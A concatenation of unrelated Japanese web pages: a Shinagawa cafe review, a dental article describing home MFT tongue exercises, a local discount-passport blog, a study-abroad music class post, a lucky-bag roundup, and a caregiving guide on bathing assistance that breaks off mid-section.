心に、水を注ぎ、太陽の光にあてて、人の心の命をふきかえす。
これは、これからIN YOUの事業を通じ、そして個人的にもやっていきたいと心から思える、最大のテーマです。
どうやるのかまでは、まだ見つかっていません。
けれども、引き続き、自分を内観したり、世の中の人の気持ちを知ることによりその具体的な方法を考えていきたいと思っています。
それでは今後ともIN YOUの応援のほど、よろしくお願いします。
またお会いできる日まで。
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IN YOUは「全ての人にオーガニックな暮らしを。」を基本理念とした、日本最大級のオーガニックメディアです。
「消費者から社会を変える」をコンセプトに、健やかな毎日を送るために必要な、今すぐ使える食と暮らしの知恵をお伝えしています。
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THE 3RD CAFE 品川シーズンテラス店。広くてコーヒーも美味しく、雰囲気も素晴らしいカフェ – エンジニアが学んだことをお伝えするブログ
THE 3RD CAFE by Standard Coffee
頼んだカプチーノも美味しかった。美味しいコーヒーとお洒落な空間で時間を過ごすのはその日1日を充実したものとしてくれる。
どうやら食事もおいしいそうなので今度試してみたい。カウンターにディスプレイされているパンも美味しそうだった、朝食をここでとるのもよさそう。
入り口から見えるのはBook Lounge。本に囲まれた場所で落ち着いてコーヒーを飲んだり会話をしたり。
使われている木材の質や照明など、とてもセンスあふれる空間となっている。
また、広さもあってゆったりと過ごすことができる。通路も十分な広さ。ベビーカーで店舗の中を十分に移動できるくらいだった。よくスターバックスとかキツキツに席が並べられていたりするけれど、そういう狭さは感じない。
エスプレッソ系のコーヒーも充実
エスプレッソ、カフェラテ、カプチーノなど、エスプレッソ系のビバレッジも充実。
エスプレッソ系が美味しいカフェってあんまりいいところに出会えなかったりするのだけど、こういうカフェがあるのは嬉しい。
OPEN HOUR, etc.
Mon-Fri 7:30 – 21:00
Sat-Sun 10:00 – 18:00
Free Battery Charging
フリーWi-Fi、電源のある席もあり、環境は最高。
品川駅港南口から歩いて10分弱。
東京都港区港南1-2-70 品川シーズンテラス2F
品川シーズンテラスの2階にあるTHE 3RD CAFEは、そのコンセプトの通りオフィスで仕事をする人たちに3つめの場所として機能しているのだろう。THE 3RD CAFEは虎ノ門にも店舗があるとのこと。
オフィスのワーカーの方に3つめの場所を。というコンセプトなので都心のオフィス街にしか出店しないのかもしれないけど、もっと多くの街に出店を広げてほしい、そう思えるカフェです。
品川駅周辺でステキなカフェをお探しの方、THE 3RD CAFEを選択肢の1つに入れてみてください。
品川シーズンテラスについてはこちらの記事をお読みください。
品川シーズンテラス。都会の真ん中品川で家族と落ち着いた時間を過ごせる場所。芝の公園と光と陰がつくるステキな空間
品川高輪方面で過去に訪れたカフェの記事はこちら:
モンベル品川店とハーベステラスカフェの雰囲気を写真でお伝えします。商品を見て休憩もできるGoodな場所でした
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エンジニア(Mechanical)。日々の生活や読書、仕事などから学んだことをまとめます。
好きなものはApple製品、コーヒー、革製品、デニム。旅とカメラも。Less is More.な生活に憧れる。


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そして、このような舌癖を持ったまま矯正治療を行ったとしても、順調に治療が進まなかったり、矯正治療後に後戻りしてしまう場合があるのです。したがって、矯正治療を行う場合にMFTが併用されることが多いのです。
また、歯ぐきや歯を支える骨が弱った時に、悪い舌癖があると、歯並びが崩れてしまう可能性がありますし、逆に、舌癖によって歯ぐきや歯を支える骨の状態を悪くしてしまうこともあります。
そのため、矯正治療を成功させるためには、MFTが必要とされる場合が多いのです。
人がリラックスした状態では、舌は普段から上顎についている状態で、口唇は閉じているのが理想的です。そして、その状態を維持し、正しい嚥下(飲み込み動作)、発音を出来るようにするのがこの訓練の目標となります。
MFT(口腔筋機能療法)のレッスン方法例
それでは、実際に行われるレッスンの一部をご紹介しておきましょう。以下でご紹介するレッスンは、「舌の先の正しい位置を覚える」「舌を持ち上げる筋肉を鍛える」「咬む筋肉を鍛える」などが目的となります。まずは、以下のアイテムを用意してください。
手鏡(10cm以上の鏡で、顔全体が映えるものがよい)
木製のスティック(割りばしやアイスの棒でOK)
スプレーボトル(普通の霧吹きでOK。ただ、ノズルを調整し直線状に水が出るもの)
上記のアイテムが用意出来たら、以下の流れで行います。
STEP1 スポットポジション 5回
これは、普段何もしていない時や飲み込みをするときに、舌の先が触れる位置を覚えるためのものです。「舌の先が触れる位置」をこのレッスンでは「スポット」と呼ぶのです。ちなみに、スポットは、上の前歯の後ろにあるふくらみのすぐ後です。
用意したスティックでスポットを触ります。触ったらゆっくり5数えてください。
スティックを離し、同じ場所を舌の先で触ります。これもゆっくり5数えます。
注意点としては、舌でスポットを触る時は、舌の先を丸めないで、舌の脇を締め先をとがらせるようにしてください。これを5回繰り返してスポットポジションはOKです。
STEP2 ポッピング 15回
これは、舌を上に持ち上げる練習となります。以下の手順で行ってください。
舌全体を上顎に吸い付け、口を大きく開けることで舌の裏にあるヒモ(舌小帯)をのばします。この時に重要なのは、『舌の先はスポットにある』『舌の先だけでなく、全体を上顎に吸い付ける』『舌が前歯を覆うことなく、上の歯列の内側にある』『左右対称で吸い付ける』の4つです。また、口を開ける時には、顎を横にずれさせたりせず、真っすぐに開けてください。
次に、舌を下ろします。少し下品に思えますが、下ろすときは「ポンッ」と音をたてるようにしてください。舌全体が上顎に吸い付いていない時には軽い音になってしまいます。この動作を10~20回程度繰り返し行ってください。あまりやり過ぎるのと早くやり過ぎるのはよくありません。ゆっくり「1、2、3 ポン」と数える感じの速さでやるのが良いでしょう。
ちなみに、舌全体をうまく吸い付けることができない人は、とりあえず一部でも「ポン」と音が出るように頑張りましょう。音が出る直前は、舌のどこかが吸い付いているはずですので、徐々に全体が吸い付くように練習しましょう。根気よくやれば、徐々に舌の裏のヒモをのばせるようになります。
STEP3 バイト 5回
「バイト(bite)」は咬むことや咬み合わせの意味がある言葉です。この訓練は、名称通り「咬む筋肉が緊張する感じを覚える」、「咬む筋肉を鍛える」ものとなります。手順は以下の通りです。
両手をエラに置いて、ギュッと強く噛みます。そうすると、筋肉が緊張して固くなるのが手でわかると思います。
次は、手をこめかみに置いて、同じように強く噛みます。これで側頭筋前腹の緊張がわかります。
最後に、耳の上に手を置いて、強く噛みます。
上記を5回繰り返してください。これで、左右が同じぐらい筋肉を感じることができるか確認しましょう。左右の強さが異なる人は、弱い側の奥歯でガムを噛むなどして筋肉を鍛えましょう。また、置いた手で筋肉を感じることができないという場合、前歯で噛んで食事をしているのかもしれません。奥歯で物を噛むように心がけましょう。
STEP4 スラープアンドスワロー 左右5回
これは、物を飲み込む『嚥下(えんげ)』の練習です。手順は以下の通りです。
舌の先をスポットに当てて、舌全体を上顎に吸い付けます。そして、上の犬歯の後ろにストローを置いて舌の裏側に当てます。そのまま軽く歯を咬み合わせてください。
用意したスプレーを使って、口の横から奥歯に向かって水を吹き入れ、音を立てて水を吸い込みます。
②の動作で後ろに水を集めたら、奥歯を噛んだまま水をゴクンと飲み込みます。
上記の流れを左右交互に5回ずつ繰り返します。
本来、正しい嚥下を行う場合、口唇は軽く閉じているのですが、この訓練では開けたままの状態で飲み込みます。したがって、手鏡などで嚥下時の舌の状態をチェックすることができます。嚥下の際には、舌の先をスポットから離さないように練習してください。
STEP5 ポスチャー 5分間
これは、普段舌を上顎につけて置く習慣をつける練習です。上で紹介したSTEP1~STEP4の練習のあと、以下の練習をしてください。
上の犬歯の後ろにストローを置いて歯を咬み合わせ、口唇を軽く閉じます。舌の先はスポットに当てた状態で、なるべくストローの力に頼らず、舌の力だけで上顎に吸い付けるようにしてください。
その状態を5~15分程度保ってください。
この練習は、慣れてくると、テレビを見たり、読書したりしながらできると思います。おしゃべりはできませんので、出来ることをやりながら練習しましょう。
今回は、『MFT(口腔筋機能療法)』の具体的な練習方法などをご紹介しました。本稿では、家にある簡単なもので出来る具体例をご紹介していますが、通常、MFTは歯科医院でセラピストとしてトレーニングされた歯科医師や歯科衛生士が行うものです。そのため、ご紹介した内容を見ても、何を言っているのかイマイチ理解出来ない部分もあったかもしれません。
上述の通り、口まわりの筋肉が弱く、バランスが悪い場合には、舌で前歯を押してしまうなどの舌癖で、さまざまな不正咬合を引き起こす可能性があります。しかし、舌癖の有無などは、普段の生活の中で自分で気づくことなどほぼ不可能なことだと思います。したがって、不正咬合を自覚されている方は、一度歯科医院に足を運び、正しい口まわりの動かし方を学ぶ訓練をするのがオススメです。
口腔内筋や、周囲筋の異常は、歯列不正、口呼吸の原因になり、健康にも影響してきます。
歯科医院では、虫歯、歯周病治療だけでなく歯列不正の原因を早期発見し、プロの指導により、改善が可能です。早めのアプローチが、綺麗な歯並び、かみ合わせが健康への近道です。
早いタイミングで歯科医院へご相談ください。健康への近道は「綺麗な歯並び」「かみ合わせ」です。
歯科助手をしながら、歯科衛生士を目指しているMia(ミア)です。 人の役に立てるような仕事に就きたい、手に職を付けたいという思いから歯科衛生士を目指しています。患者さんからたくさん「ありがとう」と言ってもらえるように頑張っています。
「歯の大切さ」を改めて考える。歯はあっても状態は最悪?!口腔ケアの重要性と訪問歯科治療
なぜ、歯周病は減らないのか!?歯周病は増え続けている、その原因をお伝えします。
ほんとうに怖い…歯周病のおはなし
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-口腔筋機能療法(MFT)
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0歳から始める!むし歯菌の母子感染・父子感染の予防方法
子供の頃に歯医者に行くのが怖かったというお父さん・お母さんも多いのではないでしょうか? かわいい我が子にはそんな思いをさせたくないと思っている事と思います。 むし歯はむし歯菌の感染によっておこり、一度虫歯になると、むし歯菌が完全になることは無いため、何度でも再発してしまう可能性があります。 お子さんをむし歯にしないためにはお父さん、お母さんが正しい知識を身につけて予防に取り組みましょう。 虫歯は感染症です! むし歯は生活習慣などによって起こりますが、むし歯の原因となる『むし歯菌』は産まれたばかりの赤ちゃん ...
うけ口(反対咬合)に悩んでいる方へ そもそも受け口の原因とは?
今回は、うけ口(しゃくれ)や反対咬合(はんたいこうごう)に悩んでいる方のため、受け口になってしまう要因や矯正治療を受けることで得られるメリットについてご紹介します。 『受け口』に関しては、同じ悩みを持っている人でなければあまり馴染みのない言葉で、耳にしたことが無いという人も少なくないと思います。この『受け口』というものは、正しい噛み合わせとは逆で、下顎が上顎より出ている状態のことを指しています。 この状態は『しゃくれ』などとも呼ばれることもあり、審美的な問題をデメリットとしてとらえて悩んでいる人も多いよう ...
MFT(口腔筋機能療法)で歯並びに影響する癖を矯正
お子さんの口もとを見たときに、歯並びが気になった事はありませんか? 実は、歯並びが悪くなる原因は、骨格などの遺伝による先天的な原因と、ふだんの癖が原因のものがあります。 例えば、指しゃぶりの癖や、舌癖(ぜつへき)があると、出っ歯やすきっ歯、開咬(かいこう)などの原因になります。 MFTは舌やくちびるの筋力トレーニング、咬む際に使う筋肉のトレーニング、舌とくちびるを正しい位置に習慣化するためのトレーニングなどを行い、正しく機能させるための訓練法です。 子供は小さい負荷でも歯並びに影響を受けやすい 歯並びは舌 ...
口腔ケアのための口腔筋機能療法(MFT)。口や舌のトレーニングをおこなう事で得られる驚きの効果をご紹介。
MFT(口腔筋機能療法)というものをご存知でしょうか。 歯列矯正を行ったことがある方であれば、『口の周りのトレーニングを一緒に行った』という方もいらっしゃるかもしれません。 そのトレーニングのことをMFTや口腔筋機能療法(こうくうきんきのうりょうほう)といいます。 MFTにはさまざまな種類のトレーニングがあり、 MFTを行うことで、お子さまの歯並びやかみ合わせを悪くするクセを改善したり、正しく咀嚼(そしゃく)、嚥下(えんげ※飲み込むこと)出来るようにトレーニングします。 大人の場合は、歯列矯正の際に合わせ ...
歯磨きはどうしたらいいの?赤ちゃんに前歯が生えたら最初にすること。
お子さんが生まれて6ヶ月、ハーフバースデーを迎えたこの時期になると、『手で支えながら、すこしだけお座りができる様になった』『寝返りができるようになった』『おもちゃで遊ぶ様になった』など、これまでとは違った成長を見ることができるようになります。 離乳食をこの時期から始めるという方も多いのではないでしょうか。 また、生後5、6ヶ月ぐらいから起こる大きな変化の一つとして、この時期になると、歯が生え始めます。 歯の生え始めには、どのようにケアしてあげれば良いのか、お父さんお母さんの注意すべき点など赤ちゃんに前歯が ...
最先端の3Dスキャナー『iTero』でインビザライン矯正が変わる!
0歳から始める!むし歯菌の母子感染・父子感染の予防方法
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記事監修 院長 小出 貴照
「歯の大切さ」を改めて考える。歯はあっても状態は最悪?!口腔ケアの重要性と訪問歯科治療
口の中を綺麗にするというと、皆さんの中で一般的なのはやはり「歯みがき」という言葉だと思います。でも医療現場ではよく「口腔ケア」という言葉が使われます。 口腔ケアとは、歯磨きなどで口の中をきれいに保つだけでなく、健康保持や口腔機能向上のためのリハビリなどを含んだ幅広い内容のことをいいます。 歯や歯茎、舌、粘膜、入れ歯を含む口の中の清掃、口腔内や口周りのマッサージ、咀嚼や嚥下のトレーニング、リハビリなどが含まれます。虫歯や歯周病などの口腔内トラブル予防だけでなく、健康的な日常生活を送るために口腔ケアは大変重要 ...
なぜ、歯周病は減らないのか!?歯周病は増え続けている、その原因をお伝えします。
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ほんとうに怖い…歯周病のおはなし
知り合いの新人歯科衛生士がこのようなことを言っていたことがあります。 『歯茎から血が出ているのをそのまま放置している人っているよね。安心して。 最悪歯が抜けて、病気になるから…フフフ』 衛生士のその黒い笑顔に少しギョッとしてしまったのですが、実はこの言葉、あながち間違ってはいないのです。 今回はお口の中の巨大疾患である歯周病と、それがもたらす病気について、最新の治療例も紹介しながらお話ししようと思います。 歯周病をナメたらあかん! 以前の記事の中でもお話ししている通り、歯周病はお口の中で一番身近で、一番か ...
コロナ感染症がもたらした『顎関節症』という不調
最近、youtubeやtiktokなどで若い歯科医師の方による動画が流行っているようで、流れてくるのを見ているのですが、その中で、新型コロナウイルス感染症の流行に伴い増えたあるお口のトラブルについての動画が目にとまりました。 歯科医師の方が話していたその内容についてご紹介したいと思います。 顎関節症って? 最近、顎が鳴る、口を開けると痛いといった症状がコロナ禍で急増しているそうです。 「顎関節症」という言葉をご存知でしょうか? 耳たぶの少し斜め上の位置に指を当ててお口を開けると、少しもっこりするところがあ ...
ちっちゃな頃からきれいなお口環境を目指す
痛い・違和感がある[/st-step] 口の中が痛かったり、違和感を感じていたりすることが原因で、歯みがきを嫌がってしまう場合があります。 痛がっている場合は、仕上げみがきの力が強い可能性があります。 歯ブラシの持ち方を変えるなどの対策があります。 step2怒られるのが嫌 お子さんが歯みがきを嫌がった際に「我慢しなさい!」「虫歯になっちゃうよ!」と怒ってしまうご両親も少なくありません。 何度も怒られてしまうと「歯磨き=怒られる」というイメージが子供の中についてしまいます。 歯みがき中に体を押さえつけられ ...


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text:
山車の種類も、枠(鉾)の最上部に人形が載った「人形山車」 全体が屋根で覆われ、踊りやお囃子などの演奏を目的に行う「舞台屋台」 最上層に装飾的な屋根が付いた「屋根山車」 屋根は、唐破風屋根や切妻屋根・入母屋屋根、巡行時や格納時の高さを抑えるために、屋根を上下できるもの、また、からくり人形が演じたりするものがある。最上部に人形がなく、屋台全体を覆うような大きな傘や造花を飾った「笠鉾・花笠」 外部に太鼓が載り、太鼓を運ぶのが目的の「太鼓山車」 数は少ないがおもに海沿いの町の祭りに多い「船形山車」
しかし、同じ部署の同期の職員と仕事を進める中で、要領のいい人と悪い人があり、要領のいい人はやりたくない仕事は知らないふりをして、他の仕事を進めていました。
でも、その仕事は毎日やる仕事でしたから、誰かはやらなければならなかったので、「よし!それなら私がやってやる」と思い、黙って毎日進めていました。
そして、それが私の当たり前の仕事の様になり、誰も気にする人もなくなって、だんだん心が沈んでいきました。
二ヶ月が過ぎたある日、上司が「○○さん いつもやってくれて、ありがとう!」と言ってくれたのです。
「黙っていても、見てくれていたんだ。仕事に優劣をつけずに頑張て来てよかった。これからも、与えられた仕事、目の前の仕事に全力を向けよう」たった一言でしたが、心が救われ、仕事に対する意欲がわき、気持ちを新たにした事を思い出しました。
これは、上司が新人に対し、目配り・心配りをしていたからこそ、言えた一言だったと思います。
人間は、一人ひとり性格が違いますね。その人の個性を知り理解し良く見て、声をかけてあげることが、人を育てていく上で大切なことですよね。
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集客方法としての「笠間市プラチナパスポート」
2016年2月5日未分類sunnet-jp
新年に入ってから、暖かい日と寒い日が繰り返されていますが、体調など崩していませんか? とはいえ、梅の花もほころび始め、春は一歩一歩近づいていますね。
ところで、先日笠間市商工会発行で「笠間市プラチナパスポート」なるものが発売されたのをご存知ですか?
これを持っていれば、パスポートに記載されている、笠間市内のグルメ・スイーツ・特産品などを全て「540円」で利用する事ができるのです。
パスポートは900円で購入し、一人1冊、利用期間と商品は限定されるのですが、通常価格より200円~500円お得なのです。
始めに900円払っていますので、最低4箇所くらい利用しないと元は取れませんが、飲食するだけでなく特産品も買えるので、けっこう利用できてしまいます。
このパスポートにより、知ら無かった店やスィーツ・特産品を発見し楽しくなりました。
私は、家族や友達と利用していますが、コミニュケーションにも役立っていますし、「今度はどこにしよう」とワクワクしています。
これがなければ、行かなかったであろう店や他の商品も覚えていただき、それで美味しければ、今後パスポートがなくとも「また行ってみよう」となります。
お店のPRの方法を考えた場合、チラシやポスティングは印刷費や新聞折り込み料・人件費がかかります。入っていても、それを見てくれるとは限りません。また、広報紙などに載せるのも月一回ですから、余程興味を惹かなければ、わざわざ出かけて行かないでしょう。それから、フェイスブック・ブログ・ホームページ等も限られた人しか見ないかもしれない。
そう考えると、今回の「笠間市プラチナパスポート」は発行部数・期間限定により、あっと言う間に売り切れ、買った人は期間内により多く利用しようとします。
費用対効果を考えた場合、新規顧客の獲得と売上増は、間違いなく効果ありかと思います。
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2021年度の販路開拓やIT導入補助金情報まとめ茨城県寄り
IT導入補助金でECサイトやパソコンを1/4の費用で導入できます(再)
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カテゴリー カテゴリーを選択 AUスマートフォンのパケット代削減計画  (3) facebook活用  (10) POSシステム  (1) アクセス解析  (2) アメブロ活用  (3) システム活用方法  (6) スマートフォン(android)活用  (1) スマートフォン(iphone)活用  (1) セミナーに参加してきた  (3) その他の記事  (1) パソコンの活用方法について  (3) ホームページ作成関係  (10) リアルのお役立ち情報  (2) 便利なネットサービス  (1) 売上向上のためには  (16) 投稿したなう  (17) 新卒・中途採用のためには  (7) 未分類  (13) 笠間市・小美玉市  (6) 節約関係  (1) 補助金  (4)
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text:
私は音楽(Band)の授業が好きだったので、3回履修し、成績表には Band 10, Band 11, Band 12 というような感じになっています
まず、私の高校の音楽の授業の科目名は Band でした
その名の通り、楽器を演奏するバンドなんです
バンドといってみなさんが思い浮かべるような4,5人組のロックバンドではなく、イメージとしては吹奏楽のバンドです
なので主に楽器を演奏します
ざっと説明をしますと、学期の初めに、自分の弾きたい楽器を選び、その楽器を1学期間ひたすら練習し、学期終わりの演奏会で全校生徒の前で合奏をするという流れで授業が行われます
(基本的に楽器は1学期間同じ決められた番号の楽器を借りて授業時間外持ち出しもOKでした)
私の高校は1学期完結型のカリキュラムだったので、1学期間でとれる科目は4コマ(科目)で、1日4コマ1コマ1時間半の授業を毎日繰り返していました
なので、約1時間半の音楽の授業を毎日行うのです
毎日1時間半も楽器を練習していたら学期終わりには何とか形になりますよね(笑)
私は音楽が好きで、楽器も興味があったけれど、日本だと吹奏楽部に入るか個人で習い事としてやるかしか選択肢がなく、諦めていたのですが、海外の高校に来て、初心者でも音楽の授業で弾いてみたかった楽器に気軽に挑戦ができたのでとても楽しかったです!
私は、1学期目はフルート、2学期目はオーボエ、3学期目はトランペットを選択しました!
そして1学期目で初めてフルートを吹き、楽しかったので、次の学期からコンサートバンドクラブ(管弦楽部)に入り、フルートを演奏していました
私の他にも、音楽の授業で初めてその楽器を弾いてそのままコンサートバンドクラブに入る人が多かったです
一方、先生は1人で様々な楽器の指導を初心者相手にするのでとても大変そうでした(笑)
基本的には自分の楽器の楽譜を見ながら個人練習して、先生が教室を周ってちょこちょこ指導してくれるというスタイルで、ほぼ独学ちょっと指導という感じなので本当に音楽が苦手な人は少しハードルが高いかもしれません(笑)
そもそも楽器の音を出せなかったりとかする人もいるので、そういった人たちは学期の途中でパーカッションや簡単な楽器に変更になる人もいます
しかし、私もトランペットが苦手で途中でフルートとパーカッションとたまにトランペットの練習...というような感じでやっていたので、その楽器ができないからといって焦る必要はありません
授業では楽器演奏以外にも、楽譜の読み方や、音や拍を当てるテスト、簡単な作曲なども行います
留学中は他の勉強系の教科が結構大変なので、その中で音楽の授業は半分休憩時間のようでとても楽しかったです
友達と一緒に音楽の授業を取るとさらに楽しいです!
mio と一緒に音楽の授業を取った時に...
音楽の授業をきっかけに...
音楽の授業をきっかけに、コンサートバンドクラブにも入り、さらに寮に住んでいたので夜暇でよく学校の音楽室のドラムで遊んだりしていたので私の高校留学生活の中で音楽の存在が大きくなっていきました
ドラムもやったことがなかったのですが、昔から憧れていて...(笑)
音楽室が夜自由に使えてドラムセットも置いてあったので、スティックだけ買ってYouTubeを見ながら自己流で叩いていました(笑)
友人もそのことを知っていたので、先生たちがバンドを組んで学校のイベントで演奏する時にバンドメンバーを探していてその友人が私を推薦してくれて推しの先生と一緒にバンドを組んで演奏ができた時はとても嬉しかったです!
その他にも友人とバンドを組んで学校のイベントで演奏したりと、先生に言えば発表の場をたくさん作ってくれるのでとても楽しかったです!
コンサートバンドクラブでも、初めのうちはフルートを担当していましたが、パーカッションに興味が出てきたのでそっちに移ったり、両方やったりと自由に活動させてもらいました
音楽の先生とも結構仲良くなり、クラブにも入っていたり、その他でもバンド活動をしたりしていたので学内で2回音楽の賞を取ることができました!(笑)
賞状とバッチを貰いました!
表彰されるなんて人生初だったので地味に嬉しかったです(笑)
でも実力は本当にないです(笑)
今回は海外の高校の音楽の授業についてお話をしました!
日本と全然違いますよね!!
私の高校では音楽の科目がBandだったので楽器演奏がメインでしたが、他の学校だと同じ音楽系の単位でも違う科目だったりする場合もあると思います!
気軽にやりたい楽器を始められるので、音楽に興味がある人やヘビーな授業ばかりでこの学期しんどいな...という時に音楽の授業を履修するのも良いと思います!
また、楽器や歌ができると、友人とバンドを組んで演奏をしたり、発表の場も多いので楽しいですよ!
最後まで読んでくださりありがとうございます!
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実物を見たり口コミを聞いたりしてみないと、ピンとこないというのもありますので、今までの日本橋木屋 福袋の中身のネタバレや画像、感想などを、SNSからご紹介します。
日本橋木屋 福袋の中身ネタバレ
新たなものについては分かり次第、ご報告したいと思います。
今までの 日本橋木屋 福袋中身ネタバレ
日本橋木屋の福袋、11,000円。包丁(大)だけでも15,000円で、合計3万以上の品なのでかなりお得。例年はすぐ売り切れらしいけど、今年は人出が少ないのでまだ在庫があるみたい pic.twitter.com/cj3ujO7Thy
— Cloud9 (vollständig) (@Cloud9_Tokyo) January 5, 2021
年明けに母上が三越で木屋の福袋を購入。
さすが、よく切れる包丁です。
玉ねぎの薄切りを切っていても、目に染みなかったよ‼
— こっこ@心は永遠にV6Love (@piyokokko0910) January 9, 2021
ペティナイフと包丁が欲しかったので、購入
てぬぐいがちゅーがえりネズミでかわいい#日本橋木屋 #福袋ネタバレ2020 pic.twitter.com/0t9LpJjPlK
— ゆーゆうがい手洗い (@ekuboyuyu) January 2, 2020
初めてお正月の福袋買いました
「日本橋木屋」の包丁の福袋
14000円相当の三徳包丁
ペティナイフ? まな板
キッチンバサミ 手拭い
包丁を買い換えたかったのでお得な買い物出来ました pic.twitter.com/anOrMNRHD2
— 時の扉 (@21fuyu21) 2019年1月2日
2018 日本橋木屋 福袋中身ネタバレ
1番お得だったのは木屋の福袋。
包丁 キッチンバサミ 布巾 包丁研ぎ
まな板が入って、5400円。 pic.twitter.com/qlPGV8hY7y
— りさっぴ (@sarisacha) 2018年1月1日
20になったらずっと使えるようないい包丁がほしいと思っていたところに、木屋の福袋が。3万円相当が1万円で手に入って満悦している!キャス・キッドソンのエプロンやミトンもGETしたので今年も包丁を振るいましょうか pic.twitter.com/1ioYyGeXyY
— すみ (@sumi_xsr700) 2018年1月1日
包丁立てを買った木屋(@KIYAhonten)で衝動買いした福袋1万円。三徳とペティナイフ、キッチンばさみに金魚型のおろし器、江戸てぬぐいと立派なまな板。個人的にお得感でかい。 pic.twitter.com/MRLVhSIRP0
— レジェ (@legend_pahum) 2018年1月2日
キッチンツールの良いものって、気持ちが上がりますよね?スパッと切れたトマトは、そうでないものと味に違いが出るとかテレビで見たことあるような…木屋さんの福袋、いいですね!
今どんなアイテムが販売されているのかを見るのも参考になりますね。
公式サイト:日本橋木屋
楽天で 日本橋木屋 のアイテムを見る。
アマゾンで 日本橋木屋のアイテムを見る。
爪切りなども良さそうですね!
最新の情報や、その他、福袋全般に関しましては、以下もご覧ください。
【福袋2022】人気、当たりブランドは?予約日程・通販先 一覧
2022年福袋。人気、当たりブランドと評されているものはどれ?人気福袋は争奪戦も激しく、事前の日程確認が重要です。 ということで、こち...
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福袋2022の特集ページ
急遽、追加や再販、新規販売されているかも知れませんので、時々チェックしてみてくださいね。
三越伊勢丹の新春福袋 2022    1/1・10時 クニオコレクション、イヴ ドローム、ホットマン、マーム、ミラブルプラス、ベイプキッズ、ランバンスポール、マンシングウェア 1/2・10時 エヌ ハリウッド など
阪急の福袋2022  11/30・18時 マリアージュフレール、ゴディバ、フェルム ラ・テール美瑛 など フード追加 & 阪急梅田本店・来店受け取り分 受付開始 12/1・朝8時 アルチビオ
大丸松坂屋オンラインショッピング  1/3・10時 ジバンシイ
小田急オンラインショッピング   1/1・0時 シュウウエムラ、ジバンシイ、ドクターシーラボ、フレグランス 1/1・10時 ハーバー 1/2 0時 ベアミネラル など
京王百貨店 1/2予定 イヴサンローラン、アヴェダ、ドクターシーラボ、CAC、エステダム、クリスタルジェミー、ハーバー、シスレー など
近鉄百貨店  1/1・10時-1/5・9時59分 お年玉クーポンフェア
三越伊勢丹のコスメ通販
パルクローゼットで福袋を探す。 カスタネ、ラシット、ガリャルダガランテ、チャオパニック、など
楽天ファッションで福袋を見る。
楽天 で ジュニア・キッズの福袋 2022 を 新着順 に見る。 12/31:プティマインなど
楽天 で 福袋 2022 を 新着順 に見る。  ← 移動先でジャンルなど条件を選択し、お目当てを見つけてくださいね!
【福袋2022】人気、当たりブランドは?予約日程・通販先 一覧
2022年福袋。人気、当たりブランドと評されているものはどれ?人気福袋は争奪戦も激しく、事前の日程確認が重要です。 ということで、こち...
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三越伊勢丹福袋2022の予約日程、出品ブランド、通販先。見どころは?
三越伊勢丹 福袋 2022の予約日程と出品ブランド、通販先をまとめてみたいと思います。 多数出品される中、あっという間に売り切れてしま...
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生き物が好き!犬、猫、カメなどに囲まれマイペースに暮らしています。そんな日々での体験や通販、おでかけ、気になることなど綴っていきたいと思います。
昔、大学時代は食物学科で「糖尿病と水溶性食物繊維」関係の卒業研究をしました。なので、食べ物や健康にも興味があり、ゆるいスローライフを実践中です。


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text:
血圧と体温を測り、入浴するうえで異常がないか確認します。
衣服を脱いでいきます。転倒をしないよう椅子に腰かけた状態で行うことが多いです。
一気に血圧が上下したり、不快感を持たれたりしないようかけ湯をしてお湯やシャワーの温度を利用者に確認していただきます。
髪を洗う際は耳に水が入ったり、爪を立ててしまい頭皮を傷付けたりすることがないよう注意します。洗身の際は足元から徐々に心臓へ近くなるよう洗うことで、血圧の急上昇を避けることができます。
可能な場合は湯船に浸かっていきます。お湯の温度を確認していただき、浸かる際は転倒や溺れることのないよう細心の注意を払いましょう。
入浴後は身体を拭き、服を着ていただきます。転倒しないよう最後まで油断しないことが大切です。
2)入浴介助は、どんな点が大変?注意すべきポイントは?
続いては『入浴介助で大変な点と注意すべきポイント』を紹介していきます。
入浴介助は介護職員であればほぼ確実に行う業務でありながら、負担が大きく、ケガや事故などに直結しやすい場であると言われています。
それでも注意すべきポイントを事前に理解しておけば初心者でも多くの問題は未然に防げるため、この機会にぜひ参考にしてみてください。
入浴介助において大変な点、注意すべき点は──。
#1 利用者1人1人に添った臨機応変な介助が求められる
#2 覚えることが多い
#3 腰痛など介護職員の負担が大きい
それぞれの点について、順を追って見ていきましょう。
#1 利用者1人1人に添った臨機応変な介助が求められる
入浴介助では、臨機応変さが求められる…というのが大変な部分です。
熱めのお湯が好きな人もいれば、ぬるめが好きな人もいるように、利用者1人1人に入浴の個性があります。
これらは長い人生の中で構築されたものなので、それらを尊重し、より快適に入浴していただけるよう工夫していくことが重要です。
しかし業務上、急いで入浴を行わなくてはいけなかったり、要介護度が上がって満足のいく介助ができなくなったりする日もあるのが現状。
そのため、毎日臨機応変に考えながら、いかに満足いく入浴をしてもらうかを考えるかが大変な点であり、同時にやりがいであるともいえますね。
#2 覚えることが多い
入浴介助は他の介助業務と比べても、覚えるべきことが多い複雑な仕事だといえます。
例えばザっと覚えるべきことを挙げると…
利用者が入浴しても良い健康状態(体温や血圧)
脱衣所までの移動介助の方法
入浴前に必要な排泄介助の方法
入浴時に必要な道具の準備
頭から洗うのか、身体から洗うのか
湯船に浸かるまでの介助方法
…などなど、1つの介助であるにも関わらず、本当にたくさん覚えることがあるのです。
さらに介護の資格講座や、インターネットでは学べない介護施設ごとのこだわりや用具の使い方なども覚える必要があるため、非常に複雑なのがご理解いただけると思います。
もちろんこれらは何度か経験するうちに慣れますが、最初のうちは流れを理解するだけで苦労する可能性があるため、メモを取るなどして少しずつ覚えていくように努めましょう。
#3 腰痛など介護職員の負担が大きい
入浴介助ではかがんだり、無理な態勢で利用者を支えたりすることが多いため、腰痛など介護職員自身への負担が大きいです。
さらに浴室は滑りやすい環境であるため、精神的にも常に気を張った状態で見守ることが多くなります。そのため精神的にも疲れやすい…ということが多いようです。
ただし、それらは「腰を曲げないように意識する」「利用者とコミュニケーションを楽しむ空間にする」といった工夫で十分に改善することができます。
利用者の介助にだけ集中し、自分が必要以上に苦労してしまう…といった事態に陥らないよう注意しましょう。
3) 利用者の入浴介助を適切に行っていく為のポイント4点
次は『利用者の入浴介助を正しく行うためのポイント』を4つ紹介していきます。
複雑でやることが多い入浴介助には覚えるべきポイントがたくさんあるのですが、今回は特に初心者が覚えておいて欲しい重要なポイントにのみ絞りました。
できる部分は自分でやっていただく
周りのスタッフと密に連携をとる
利用者の希望を尊重する
以上4つを忘れることがなければ、細かい技術や方法などは十分カバーできます。そのため、なぜこれらが重要なのかという理由も含め、参考にしてみてください。
できる部分は自分でやっていただく
